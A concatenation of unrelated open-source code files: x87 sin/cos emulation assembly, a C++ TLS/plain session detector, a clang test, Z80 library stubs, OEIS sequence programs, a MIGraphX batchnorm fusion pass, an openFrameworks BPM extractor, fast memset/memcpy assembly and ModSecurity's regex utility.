call SinCosReduce ; Set ah to condition code.
pop ecx
cmp SEL[esi].bTag, bTAG_ZERO
je SinDone
add SEL[esi].wExp, IExpBias
push SEL[esi].wExp
push SEL[esi].lMan1
push SEL[esi].lMan0
lea ebx, [temp]
push ebx
mov bl, ah ; if octant 4, 5, 6 or 7 then final
and bl, bOCT4 ; result must be negative
neg cl ; set cl to odd parity if arg was < 0.0
xor bl, cl ; set bl to odd parity if result must be negative
mov [SignFlag], bl
test ah, bOCT1 or bOCT2 ; if octant is 1, 2, 5, 6 then must
jpo SinCallCos ; do cos()
call __FASTLDSIN
jmp short SinCopyResult
SinCallCos:
call __FASTLDCOS
SinCopyResult:
mov eax, dword ptr [temp]
mov SEL[esi].lMan0, eax
mov eax, dword ptr [temp+4]
mov SEL[esi].lMan1, eax
mov ax, word ptr [temp+8]
sub ax, IExpBias
mov SEL[esi].wExp, ax
cmp [SignFlag], 0
jpe SinDone
or SEL[esi].bFlags, bSign ; Make result negative.
SinDone:
cEnd
lab SinCosReduce
mov SEL[TEMP1.bFlags], 0 ; TEMP1 = pi/4
mov SEL[TEMP1.bTag], bTAG_VALID
mov SEL[TEMP1.wExp], 3ffeh-IExpBias
mov SEL[TEMP1.wMan3], 0c90fh
mov SEL[TEMP1.wMan2], 0daa2h
mov SEL[TEMP1.wMan1], 2168h
mov SEL[TEMP1.wMan0], 0c235h
ifdef NT386
mov edi, TEMP1
else
mov edi, edataOFFSET TEMP1
endif
push esi
call InternFPREM ; rsi = st(0), rdi = st(0)
pop esi
mov ah, SEL[SWcc]
test ah, bOCT1 ; check for even octant
jz EvenOct ; yes
add SEL[esi.wExp], IExpBias ; convert to true long double
push ds
push esi
push cs
push ecodeOFFSET PIBY4
push ds
push esi
push -1
call __FASTLDADD ; st(0) = pi/4 - st(0)
mov ah, SEL[SWcc]
sub SEL[esi.wExp], IExpBias ; convert to squirly emulator long double
EvenOct:
retn
labelW PIBY4
dw 0c235h, 02168h, 0daa2h, 0c90fh, 3ffeh
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; BUGBUG tedm: NT masm can't handle floating-point constants ;
; because strtod and _strtold C-runtimes aren't ;
; there. So the constants below must be pre- ;
; assembled and defined as a byte stream. ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ifdef NOTDEF
staticT FourByPI, +0.1273239544735162686151e+01
staticT SinP0, +0.7853981633974483096141845e+00
staticT SinP1, -0.8074551218828078152025820e-01
staticT SinP2, +0.2490394570192716275251900e-02
staticT SinP3, -0.3657620418214640005290000e-04
staticT SinP4, +0.3133616889173253480000000e-06
staticT SinP5, -0.1757247417617080600000000e-08
staticT SinP6, +0.6948152035052200000000000e-11
staticT SinP7, -0.2022531292930000000000000e-13
staticT CosP0, +0.99999999999999999996415e+00
staticT CosP1, -0.30842513753404245242414e+00
staticT CosP2, +0.15854344243815410897540e-01
staticT CosP3, -0.32599188692668755044000e-03
staticT CosP4, +0.35908604458858195300000e-05
staticT CosP5, -0.24611363826370050000000e-07
staticT CosP6, +0.11500497024263000000000e-09
staticT CosP7, -0.38577620372000000000000e-12
else
staticB FourByPI, <02Ah,015h,044h,04Eh,06Eh,083h,0F9h,0A2h,0FFh,03Fh>
staticB SinP0 , <035h,0C2h,068h,021h,0A2h,0DAh,00Fh,0C9h,0FEh,03Fh>
staticB SinP1 , <0DAh,095h,0F2h,02Dh,031h,0E7h,05Dh,0A5h,0FBh,0BFh>
staticB SinP2 , <0E9h,0C6h,056h,0ADh,03Bh,0E3h,035h,0A3h,0F6h,03Fh>
staticB SinP3 , <0D5h,0E7h,05Dh,015h,073h,066h,069h,099h,0F0h,0BFh>
staticB SinP4 , <0BCh,032h,069h,0E1h,042h,01Ah,03Ch,0A8h,0E9h,03Fh>
staticB SinP5 , <021h,077h,004h,05Fh,0A1h,0A5h,083h,0F1h,0E1h,0BFh>
staticB SinP6 , <0FCh,01Ah,0D1h,006h,0CCh,063h,077h,0F4h,0D9h,03Fh>
staticB SinP7 , <04Ah,003h,086h,040h,07Ch,065h,02Ch,0B6h,0D1h,0BFh>
staticB CosP0 , <0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh,03Fh>
staticB CosP1 , <02Fh,0F2h,02Eh,0F2h,04Dh,0E6h,0E9h,09Dh,0FDh,0BFh>
staticB CosP2 , <02Fh,04Eh,0D5h,0DAh,040h,0F8h,0E0h,081h,0F9h,03Fh>
staticB CosP3 , <09Dh,0DEh,06Ah,0E4h,0F1h,0E3h,0E9h,0AAh,0F3h,0BFh>
staticB CosP4 , <031h,01Eh,0F9h,081h,041h,083h,0FAh,0F0h,0ECh,03Fh>
staticB CosP5 , <076h,0B1h,000h,0A4h,01Eh,0F6h,068h,0D3h,0E5h,0BFh>
staticB CosP6 , <0D8h,005h,06Fh,08Ah,0EAh,00Ah,0E6h,0FCh,0DDh,03Fh>
staticB CosP7 , <003h,0D5h,00Ah,0ACh,0CCh,035h,02Ch,0D9h,0D5h,0BFh>
endif
cProc __FASTLDSIN,<PLM,PUBLIC>,<isi,idi>
parmT x
parmI RetOff
localT x2
localT poly
localI count
cBegin
lea isi, [x] ; x = x * (4/PI)
push ss
push isi
push ss
push isi
mov iax, codeOFFSET FourByPI
push cs
push iax
call __FASTLDMULT
lea idi, [x2] ; x2 = x * x
push ss
push idi
push ss
push isi
push ss
push isi
call __FASTLDMULT
if 0
push ss
pop es
lea idi, [poly]
mov isi, codeOFFSET SinP7
movsw
movsw
movsw
movsw
movsw
endif
mov eax, dword ptr [SinP7] ; poly = SinP7
mov dword ptr [poly], eax
mov eax, dword ptr [SinP7+4]
mov dword ptr [poly+4], eax
mov ax, word ptr [SinP7+8]
mov word ptr [poly+8], ax
lea isi, [poly]
mov idi, codeOFFSET SinP6
mov [count], 7
SinPolyLoop:
push ss
push isi ; poly = poly * x2
push ss
push isi
lea iax, [x2]
push ss
push iax
call __FASTLDMULT
push ss
push isi ; poly = poly + SinP[n]
push ss
push isi
push cs
push idi
xor iax, iax
push iax
call __FASTLDADD
sub idi, 10
dec [count]
jnz SinPolyLoop
push ss
push [RetOff] ; return x * poly
lea iax, [x]
push ss
push iax
push ss
push isi
call __FASTLDMULT
mov iax, [RetOff]
mov idx, ss
cEnd
cProc __FASTLDCOS,<PLM,PUBLIC>,<isi,idi>
parmT x
parmI RetOff
localT x2
localI count
cBegin
lea isi, [x] ; x = x * (4/PI)
push ss
push isi
push ss
push isi
mov iax, codeOFFSET FourByPI
push cs
push iax
call __FASTLDMULT
lea idi, [x2] ; x2 = x * x
push ss
push idi
push ss
push isi
push ss
push isi
call __FASTLDMULT
if 0
push ss ; (return) = CosP7
pop es
mov idi, [RetOff]
mov isi, codeOFFSET CosP7
movsw
movsw
movsw
movsw
movsw
endif
mov isi, [RetOff]
mov eax, dword ptr [CosP7]
mov dword ptr ss:[isi], eax
mov eax, dword ptr [CosP7+4]
mov dword ptr ss:[isi+4], eax
mov ax, word ptr [CosP7+8]
mov word ptr ss:[isi+8], ax
mov idi, codeOFFSET CosP6
mov [count], 7
CosPolyLoop:
push ss
push isi ; (return) = (return) * x2
push ss
push isi
lea iax, [x2]
push ss
push iax
call __FASTLDMULT
push ss
push isi ; (return) = (return) + SinP[n]
push ss
push isi
push cs
push idi
xor iax, iax
push iax
call __FASTLDADD
sub idi, 10
dec [count]
jnz CosPolyLoop
mov iax, isi
mov idx, ss
cEnd
|
#ifndef _SESSION_DETECT_HH_
#define _SESSION_DETECT_HH_
#include "api/http/session/plain.hh"
#include "api/http/session/secure.hh"
#include <boost/logic/tribool.hpp>
#include <ctype.h>
namespace token {
namespace api {
namespace http {
template < typename T >
void hexdump( std::ostream &os, T begin, T end ) {
static const char *alpha = "0123456789ABCDEF";
for ( T iter = begin; iter != end; ) {
char line[ 81 ] = "";
char *hex = line;
char *raw = line + 48 + 8;
std::memset( line, ' ', sizeof( line ) / sizeof( line[ 0 ] ) - 1 );
for ( T lend = iter + 16; ( iter != end ) && ( iter != lend ); ++iter ) {
*( hex++ ) = alpha[ ( *iter & 0xF0 ) >> 4 ];
*( hex++ ) = alpha[ ( *iter & 0x0F ) >> 0 ];
*( hex++ ) = ' ';
*( raw++ ) = ( std::isprint( *iter ) ) ? *iter : '.';
hex += ( iter == lend - 8 ) * 3;
}
os << line << "\n";
}
}
void hexdump( std::ostream &os, boost::asio::const_buffer buffer ) {
auto *ptr = reinterpret_cast< const uint8_t * >( buffer.data( ) );
hexdump( os, ptr, ptr + buffer.size( ) );
}
template < typename Traits = DefaultTypeTraits >
class DetectSession : public Session< DetectSession< Traits >, Traits >,
public std::enable_shared_from_this< DetectSession< Traits > > {
using self_type = DetectSession< Traits >;
using base_type = Session< self_type, Traits >;
using plain_type = PlainSession< Traits >;
using secure_type = SecureSession< Traits >;
using config_type = typename base_type::config_type;
public:
DetectSession( io_service_type * io,
networking::ssl::context & _ctx,
std::shared_ptr< config_type > _rc,
std::shared_ptr< executor_type > _executor )
: base_type( io, std::move( _rc ), std::move( _executor ) )
, target_length( sizeof( ssl_record_type ) )
, ctx( _ctx ) {}
/**
* @brief Accept session data to determine session type
*/
virtual void start( ) {
networking::async_read( this->sock,
this->buffer.prepare( target_length ),
std::bind( &self_type::read_completion,
this->shared_from_this( ),
std::placeholders::_1,
std::placeholders::_2 ),
networking::bind_executor( this->strand,
std::bind( &self_type::on_data, //
this->shared_from_this( ),
std::placeholders::_1,
std::placeholders::_2 ) ) );
}
/**
* @brief Identify if this is an SSL or plain session
* @note Will create a new, proper, session when identified
* @param ec boost error code
* @param received bytes received
*/
void on_data( boost::system::error_code ec, std::size_t received ) {
if ( ec ) {
LOG( this->logger, //
critical,
"Failed in processing data for session: {}",
ec.message( ) );
} else {
this->do_connect( );
this->buffer.commit( received );
auto is_ssl = is_handshake( this->buffer.data( ) );
if ( boost::indeterminate( is_ssl ) ) {
start( ); // Keep getting more data till we're sure
} else {
if ( !is_ssl ) {
std::make_shared< plain_type >( std::move( this->buffer ),
std::move( this->sock ),
std::move( this->strand ),
std::move( this->route_config ),
std::move( this->executor ),
std::move( this->logger ),
std::move( this->local ),
std::move( this->remote ) )
->start( );
} else {
std::make_shared< secure_type >( std::move( this->buffer ),
std::move( this->sock ),
ctx,
std::move( this->strand ),
std::move( this->route_config ),
std::move( this->executor ),
std::move( this->logger ),
std::move( this->local ),
std::move( this->remote ) )
->start( );
}
// Get out of here ''this'' is invalid!
return;
}
}
}
tcp_type::socket &transport( ) { return this->sock; }
protected:
#pragma pack( push, 1 )
struct ssl_record_type {
std::uint8_t type;
std::uint8_t major;
std::uint8_t minor;
std::uint16_t len;
};
#pragma pack( pop )
/**
* @brief Identify if there is enough to identify the session type
* @param ec boost error code
* @param received number of bytes read
* @return number of bytes left to obtain
*/
size_t read_completion( boost::system::error_code ec, std::size_t received ) {
return target_length < received ? 0 : target_length - received;
}
/**
* @brief Identify if the received data is an SSL handshake
* @return true for ssl, false for plain, indeterminate for not yet known
*/
boost::tribool is_handshake( boost::asio::const_buffer buff ) {
ssl_record_type record;
std::size_t nbytes = buff.size( );
/*
* Identify if the SSL/TLS record layer conforms with a handshake message
*
* u8 - content type [22 - handshake]
* u8 - version major
* u8 - version minor
* u16 - message length
* * - message body
*/
if ( nbytes < sizeof( record ) ) {
target_length = sizeof( record );
return boost::indeterminate;
} else {
networking::buffer_copy(
networking::buffer( reinterpret_cast< uint8_t * >( &record ), sizeof( record ) ),
buff );
record.len = ntohs( record.len );
if ( record.type != 22 ) {
return false;
} else if ( record.len + sizeof( record ) > nbytes ) {
// We want the whole handshake message...
target_length = record.len;
return boost::indeterminate;
} else {
return true;
}
}
}
size_t target_length;
networking::ssl::context &ctx;
};
} // namespace http
} // namespace api
} // namespace token
#endif // _SESSION_DETECT_HH_
|
// RUN: %clang_cc1 -std=c++11 -emit-llvm %s -o - -triple x86_64-w64-mingw32 | FileCheck %s
extern thread_local int var;
int get() {
return var;
}
// CHECK: declare extern_weak void @_ZTH3var()
|
; int strcasecmp(const char *s1, const char *s2)
SECTION code_clib
SECTION code_string
PUBLIC strcasecmp
EXTERN asm_strcasecmp
strcasecmp:
pop bc
pop hl
pop de
push de
push hl
push bc
IF __CLASSIC && __CPU_GBZ80__
call asm_strcasecmp
ld d,h
ld e,l
ret
ELSE
jp asm_strcasecmp
ENDIF
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _strcasecmp
defc _strcasecmp = strcasecmp
ENDIF
|
; A176415: Periodic sequence: repeat 7,1.
; 7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1
mod $0,2
gcd $0,7
|
#include <migraphx/fwd_conv_batchnorm_rewrite.hpp>
#include <migraphx/program.hpp>
#include <migraphx/instruction.hpp>
#include <migraphx/op/batch_norm.hpp>
#include <migraphx/op/broadcast.hpp>
#include <migraphx/op/add.hpp>
#include <migraphx/iterator_for.hpp>
#include <migraphx/ranges.hpp>
#include <migraphx/dfor.hpp>
namespace migraphx {
inline namespace MIGRAPHX_INLINE_NS {
void fwd_conv_batchnorm_rewrite::apply(program& p) const
{
for(auto ins : iterator_for(p))
{
if(ins->name() != "batch_norm_inference")
continue;
// Get scale, bias, mean, variance from inputs
auto gamma = ins->inputs()[1]->eval();
auto bias = ins->inputs()[2]->eval();
auto mean = ins->inputs()[3]->eval();
auto variance = ins->inputs()[4]->eval();
if(any_of({gamma, bias, mean, variance}, [](auto arg) { return arg.empty(); }))
continue;
auto conv_ins = ins->inputs()[0];
if(conv_ins->name() != "convolution")
continue;
// Get convolution weights
auto weights = conv_ins->inputs()[1]->eval();
if(weights.empty())
continue;
// Get epsilon
auto bn_op = any_cast<op::batch_norm_inference>(ins->get_operator());
auto epsilon = bn_op.epsilon;
// Get convolution op
auto conv_op = conv_ins->get_operator();
auto weights_lens = weights.get_shape().lens();
auto conv_lens = conv_ins->get_shape().lens();
argument new_weights{weights.get_shape()};
argument new_bias{{bias.get_shape().type(), {bias.get_shape().elements()}}};
visit_all(weights, gamma, bias, mean, variance, new_weights, new_bias)(
[&](auto weights2,
auto gamma2,
auto bias2,
auto mean2,
auto variance2,
auto new_weights2,
auto new_bias2) {
dfor(weights_lens[0], weights_lens[1], weights_lens[2], weights_lens[3])(
[&](std::size_t k, std::size_t c, std::size_t h, std::size_t w) {
new_weights2(k, c, h, w) =
gamma2[k] / std::sqrt(variance2[k] + epsilon) * weights2(k, c, h, w);
});
dfor(new_bias.get_shape().elements())([&](std::size_t c) {
new_bias2[c] =
bias2[c] - (gamma2[c] * mean2[c] / std::sqrt(variance2[c] + epsilon));
});
});
// Replace convolution instruction with updated weights
auto l_weights = p.add_literal({weights.get_shape(), new_weights.data()});
auto l_bias = p.add_literal({new_bias.get_shape(), new_bias.data()});
auto c = p.replace_instruction(conv_ins, conv_op, {conv_ins->inputs()[0], l_weights});
auto b = p.insert_instruction(ins, op::broadcast{1, c->get_shape().lens()}, l_bias);
p.replace_instruction(ins, op::add{}, {c, b});
}
}
} // namespace MIGRAPHX_INLINE_NS
} // namespace migraphx
|
; char __fsgt_callee(float left, float right)
SECTION code_fp_math48
PUBLIC cm48_sdccixp_dsgt_callee
EXTERN cm48_sdccixp_dcallee2, am48_dgt
cm48_sdccixp_dsgt_callee:
; (left > right)
;
; enter : sdcc_float right, sdcc_float left, ret
;
; exit : HL = 0 and carry reset if false
; HL = 1 and carry set if true
;
; uses : af, bc, de, hl, bc', de', hl'
call cm48_sdccixp_dcallee2
; AC'= right
; AC = left
jp am48_dgt
|
/*==============================================================================
ofxVisualProgramming: A visual programming patching environment for OF
Copyright (c) 2018 Emanuele Mazza aka n3m3da <emanuelemazza@d3cod3.org>
ofxVisualProgramming is distributed under the MIT License.
This gives everyone the freedoms to use ofxVisualProgramming in any context:
commercial or non-commercial, public or private, open or closed source.
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
See https://github.com/d3cod3/ofxVisualProgramming for documentation
==============================================================================*/
#ifndef OFXVP_BUILD_WITH_MINIMAL_OBJECTS
#include "BPMExtractor.h"
//--------------------------------------------------------------
BPMExtractor::BPMExtractor() : PatchObject("bpm extractor"){
this->numInlets = 1;
this->numOutlets = 3;
_inletParams[0] = new vector<float>(); // RAW Data
_outletParams[0] = new float(); // beat
*(float *)&_outletParams[0] = 0.0f;
_outletParams[1] = new float(); // BPM
*(float *)&_outletParams[1] = 0.0f;
_outletParams[2] = new float(); // MS
*(float *)&_outletParams[3] = 0.0f;
this->initInletsState();
bufferSize = MOSAIC_DEFAULT_BUFFER_SIZE;
spectrumSize = (bufferSize/2) + 1;
arrayPosition = bufferSize + spectrumSize + MELBANDS_BANDS_NUM + DCT_COEFF_NUM + HPCP_SIZE + TRISTIMULUS_BANDS_NUM + 9;
isNewConnection = false;
isConnectionRight = false;
this->height *= 0.7;
}
//--------------------------------------------------------------
void BPMExtractor::newObject(){
PatchObject::setName( this->objectName );
this->addInlet(VP_LINK_ARRAY,"data");
this->addOutlet(VP_LINK_NUMERIC,"beat");
this->addOutlet(VP_LINK_NUMERIC,"bpm");
this->addOutlet(VP_LINK_NUMERIC,"millis");
}
//--------------------------------------------------------------
void BPMExtractor::setupObjectContent(shared_ptr<ofAppGLFWWindow> &mainWindow){
ofxXmlSettings XML;
if (XML.loadFile(patchFile)){
if (XML.pushTag("settings")){
bufferSize = XML.getValue("buffer_size",0);
spectrumSize = (bufferSize/2) + 1;
arrayPosition = bufferSize + spectrumSize + MELBANDS_BANDS_NUM + DCT_COEFF_NUM + HPCP_SIZE + TRISTIMULUS_BANDS_NUM + 9;
XML.popTag();
}
}
}
//--------------------------------------------------------------
void BPMExtractor::updateObjectContent(map<int,shared_ptr<PatchObject>> &patchObjects){
if(this->inletsConnected[0]){
if(!isNewConnection){
isNewConnection = true;
for(map<int,shared_ptr<PatchObject>>::iterator it = patchObjects.begin(); it != patchObjects.end(); it++ ){
if(patchObjects[it->first] != nullptr && it->first != this->getId() && !patchObjects[it->first]->getWillErase()){
for(int o=0;o<static_cast<int>(it->second->outPut.size());o++){
if(!it->second->outPut[o]->isDisabled && it->second->outPut[o]->toObjectID == this->getId()){
if(it->second->getName() == "audio analyzer" || it->second->getName() == "file to data"){
isConnectionRight = true;
}
break;
}
}
}
}
}
}else{
isNewConnection = false;
isConnectionRight = false;
}
if(this->inletsConnected[0] && !static_cast<vector<float> *>(_inletParams[0])->empty() && isConnectionRight){
*(float *)&_outletParams[0] = static_cast<vector<float> *>(_inletParams[0])->back(); // beat
*(float *)&_outletParams[1] = static_cast<vector<float> *>(_inletParams[0])->at(arrayPosition); // bpm
*(float *)&_outletParams[2] = 60000.0f / *(float *)&_outletParams[1]; // millis
}else if(this->inletsConnected[0] && !isConnectionRight){
ofLog(OF_LOG_ERROR,"%s --> This object can receive data from audio analyzer object ONLY! Just reconnect it right!",this->getName().c_str());
}
}
//--------------------------------------------------------------
void BPMExtractor::drawObjectContent(ofTrueTypeFont *font, shared_ptr<ofBaseGLRenderer>& glRenderer){
ofSetColor(255);
}
//--------------------------------------------------------------
void BPMExtractor::drawObjectNodeGui( ImGuiEx::NodeCanvas& _nodeCanvas ){
// CONFIG GUI inside Menu
if(_nodeCanvas.BeginNodeMenu()){
ImGui::Separator();
ImGui::Separator();
ImGui::Separator();
if (ImGui::BeginMenu("CONFIG"))
{
drawObjectNodeConfig(); this->configMenuWidth = ImGui::GetWindowWidth();
ImGui::EndMenu();
}
_nodeCanvas.EndNodeMenu();
}
// Visualize (Object main view)
if( _nodeCanvas.BeginNodeContent(ImGuiExNodeView_Visualise) ){
ImVec2 window_pos = ImGui::GetWindowPos();
ImVec2 window_size = ImGui::GetWindowSize();
ImVec2 pos = ImVec2(window_pos.x + window_size.x - (50*scaleFactor), window_pos.y + window_size.y/2);
char temp[32];
sprintf(temp,"%i",static_cast<int>(floor(*(float *)&_outletParams[1])));
_nodeCanvas.getNodeDrawList()->AddText(ImGui::GetFont(), ImGui::GetFontSize(), pos, IM_COL32_WHITE,temp, NULL, 0.0f);
if(*(float *)&_outletParams[0] > 0){
// draw beat
_nodeCanvas.getNodeDrawList()->AddCircleFilled(ImVec2(pos.x - (10*scaleFactor),pos.y + (8*scaleFactor)), 6*scaleFactor, IM_COL32(255, 255, 120, 255), 40);
}
_nodeCanvas.EndNodeContent();
}
}
//--------------------------------------------------------------
void BPMExtractor::drawObjectNodeConfig(){
ImGuiEx::ObjectInfo(
"Get the beat, the average bmp over a period of time, and the beat time period in milliseconds",
"https://mosaic.d3cod3.org/reference.php?r=bpm-extractor", scaleFactor);
}
//--------------------------------------------------------------
void BPMExtractor::removeObjectContent(bool removeFileFromData){
}
OBJECT_REGISTER( BPMExtractor , "bpm extractor", OFXVP_OBJECT_CAT_AUDIOANALYSIS)
#endif
|
[bits 64]
[extern _Z5patchPcm]
[global memset_fast1]
[global memcpy_fast1]
[global memset_fast2]
[global memcpy_fast2]
[global init_fast_mem]
memset_fast1:
mov r9, rdi
mov al, sil
mov rcx, rdx
rep stosb
mov rax, r9
ret
memcpy_fast1:
mov rax, rdi
mov rcx, rdx
rep movsb
ret
memcpy_fast2:
mov rax, rdi
mov rcx, rdx
shr rcx, 3
and edx, 7
rep movsq
mov ecx, edx
rep movsb
ret
memset_fast2:
mov r9, rdi
mov rcx, rdx
shr rcx, 3
and edx, 7
movsx esi, sil
mov rax, 0x0101010101010101
imul rax, rsi
rep stosq
mov ecx, edx
rep stosb
mov rax, r9
ret
init_fast_mem:
mov rdi, .memcpy_str
mov rsi, memcpy_fast2
call _Z5patchPcm
mov rdi, .memset_str
mov rsi, memset_fast2
call _Z5patchPcm
ret
.memset_str: db "_Z6memsetPvhm", 0
.memcpy_str: db "_Z6memcpyPvPKvm", 0 |
; A239794: 5*n^2 + 4*n - 15.
; -6,13,42,81,130,189,258,337,426,525,634,753,882,1021,1170,1329,1498,1677,1866,2065,2274,2493,2722,2961,3210,3469,3738,4017,4306,4605,4914,5233,5562,5901,6250,6609,6978,7357,7746,8145,8554,8973,9402,9841,10290,10749,11218,11697,12186,12685,13194,13713,14242,14781,15330,15889,16458,17037,17626,18225,18834,19453,20082,20721,21370,22029,22698,23377,24066,24765,25474,26193,26922,27661,28410,29169,29938,30717,31506,32305,33114,33933,34762,35601,36450,37309,38178,39057,39946,40845,41754,42673,43602,44541,45490,46449,47418,48397,49386,50385,51394,52413,53442,54481,55530,56589,57658,58737,59826,60925,62034,63153,64282,65421,66570,67729,68898,70077,71266,72465,73674,74893,76122,77361,78610,79869,81138,82417,83706,85005,86314,87633,88962,90301,91650,93009,94378,95757,97146,98545,99954,101373,102802,104241,105690,107149,108618,110097,111586,113085,114594,116113,117642,119181,120730,122289,123858,125437,127026,128625,130234,131853,133482,135121,136770,138429,140098,141777,143466,145165,146874,148593,150322,152061,153810,155569,157338,159117,160906,162705,164514,166333,168162,170001,171850,173709,175578,177457,179346,181245,183154,185073,187002,188941,190890,192849,194818,196797,198786,200785,202794,204813,206842,208881,210930,212989,215058,217137,219226,221325,223434,225553,227682,229821,231970,234129,236298,238477,240666,242865,245074,247293,249522,251761,254010,256269,258538,260817,263106,265405,267714,270033,272362,274701,277050,279409,281778,284157,286546,288945,291354,293773,296202,298641,301090,303549,306018,308497,310986,313485
mul $0,5
mov $1,1031
mov $3,$0
sub $0,1
mul $1,$0
mov $2,$1
add $3,14
mul $2,$3
add $1,$2
div $1,5155
sub $1,3
|
; A257934: Expansion of 1/(1-x-x^2-x^3-x^4+x^5+x^6+x^7).
; 1,1,2,4,8,14,26,48,89,163,300,552,1016,1868,3436,6320,11625,21381,39326,72332,133040,244698,450070,827808,1522577,2800455,5150840,9473872,17425168,32049880,58948920,108423968,199422769,366795657,674642394,1240860820,2282298872,4197802086,7720961778
sub $0,1
cal $0,27084 ; G.f.: x^2*(x^2 + x + 1)/(x^4 - 2*x + 1).
mov $2,$0
div $2,2
add $1,$2
add $1,1
|
/*
* ModSecurity, http://www.modsecurity.org/
* Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/)
*
* You may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* If any of the files related to licensing are missing or if you have any
* other questions related to licensing please contact Trustwave Holdings, Inc.
* directly using the email address security@modsecurity.org.
*
*/
#include "src/utils/regex.h"
#include <../../include/pcre.h>
#include <string>
#include <list>
#include <fstream>
#include <iostream>
#include "src/utils/geo_lookup.h"
#if PCRE_HAVE_JIT
#define pcre_study_opt PCRE_STUDY_JIT_COMPILE
#else
#define pcre_study_opt 0
#endif
namespace modsecurity {
namespace Utils {
// Helper function to tell us if the current config indicates CRLF is a valid newline sequence
bool crlfIsNewline() {
int d = 0;
pcre_config(PCRE_CONFIG_NEWLINE, &d);
unsigned int option_bits = (d == 13)? PCRE_NEWLINE_CR :
(d == 10)? PCRE_NEWLINE_LF :
(d == (13<<8 | 10))? PCRE_NEWLINE_CRLF :
(d == -2)? PCRE_NEWLINE_ANYCRLF :
(d == -1)? PCRE_NEWLINE_ANY : 0;
bool crlf_is_newline =
option_bits == PCRE_NEWLINE_ANY ||
option_bits == PCRE_NEWLINE_CRLF ||
option_bits == PCRE_NEWLINE_ANYCRLF;
return crlf_is_newline;
}
Regex::Regex(const std::string& pattern_, bool ignoreCase)
: pattern(pattern_.empty() ? ".*" : pattern_) {
const char *errptr = NULL;
int erroffset;
int flags = (PCRE_DOTALL|PCRE_MULTILINE);
if (ignoreCase == true) {
flags |= PCRE_CASELESS;
}
m_pc = pcre_compile(pattern.c_str(), flags,
&errptr, &erroffset, NULL);
m_pce = pcre_study(m_pc, pcre_study_opt, &errptr);
}
Regex::~Regex() {
if (m_pc != NULL) {
pcre_free(m_pc);
m_pc = NULL;
}
if (m_pce != NULL) {
#if PCRE_HAVE_JIT
pcre_free_study(m_pce);
#else
pcre_free(m_pce);
#endif
m_pce = NULL;
}
}
std::list<SMatch> Regex::searchAll(const std::string& s) const {
const char *subject = s.c_str();
const std::string tmpString = std::string(s.c_str(), s.size());
int ovector[OVECCOUNT];
int rc, i, offset = 0;
std::list<SMatch> retList;
do {
rc = pcre_exec(m_pc, m_pce, subject,
s.size(), offset, 0, ovector, OVECCOUNT);
for (i = 0; i < rc; i++) {
size_t start = ovector[2*i];
size_t end = ovector[2*i+1];
size_t len = end - start;
if (end > s.size()) {
rc = 0;
break;
}
std::string match = std::string(tmpString, start, len);
offset = start + len;
retList.push_front(SMatch(match, start));
if (len == 0) {
rc = 0;
break;
}
}
} while (rc > 0);
return retList;
}
bool Regex::searchOneMatch(const std::string& s, std::vector<SMatchCapture>& captures) const {
const char *subject = s.c_str();
int ovector[OVECCOUNT];
int rc = pcre_exec(m_pc, m_pce, subject, s.size(), 0, 0, ovector, OVECCOUNT);
for (int i = 0; i < rc; i++) {
size_t start = ovector[2*i];
size_t end = ovector[2*i+1];
size_t len = end - start;
if (end > s.size()) {
continue;
}
SMatchCapture capture(i, start, len);
captures.push_back(capture);
}
return (rc > 0);
}
bool Regex::searchGlobal(const std::string& s, std::vector<SMatchCapture>& captures) const {
const char *subject = s.c_str();
bool prev_match_zero_length = false;
int startOffset = 0;
while (startOffset <= s.length()) {
int ovector[OVECCOUNT];
int pcre_options = 0;
if (prev_match_zero_length) {
pcre_options = PCRE_NOTEMPTY_ATSTART | PCRE_ANCHORED;
}
int rc = pcre_exec(m_pc, m_pce, subject, s.length(), startOffset, pcre_options, ovector, OVECCOUNT);
if (rc > 0) {
size_t firstGroupForThisFullMatch = captures.size();
for (int i = 0; i < rc; i++) {
size_t start = ovector[2*i];
size_t end = ovector[2*i+1];
size_t len = end - start;
if (end > s.length()) {
continue;
}
SMatchCapture capture(firstGroupForThisFullMatch + i, start, len);
captures.push_back(capture);
if (i == 0) {
if (len > 0) {
// normal case; next call to pcre_exec should start after the end of the last full match string
startOffset = end;
prev_match_zero_length = false;
} else {
// zero-length match; modify next match attempt to avoid infinite loop
prev_match_zero_length = true;
}
}
}
} else {
if (prev_match_zero_length) {
// The n-1 search found a zero-length match, so we did a subsequent search
// with the special flags. That subsequent exec did not find a match, so now advance
// by one character (unless CRLF, then advance by two)
startOffset++;
if (crlfIsNewline() && (startOffset < s.length()) && (s[startOffset-1] == '\r')
&& (s[startOffset] == '\n')) {
startOffset++;
}
prev_match_zero_length = false;
} else {
// normal case; no match on most recent scan (with options=0). We are done.
break;
}
}
}
return (captures.size() > 0);
}
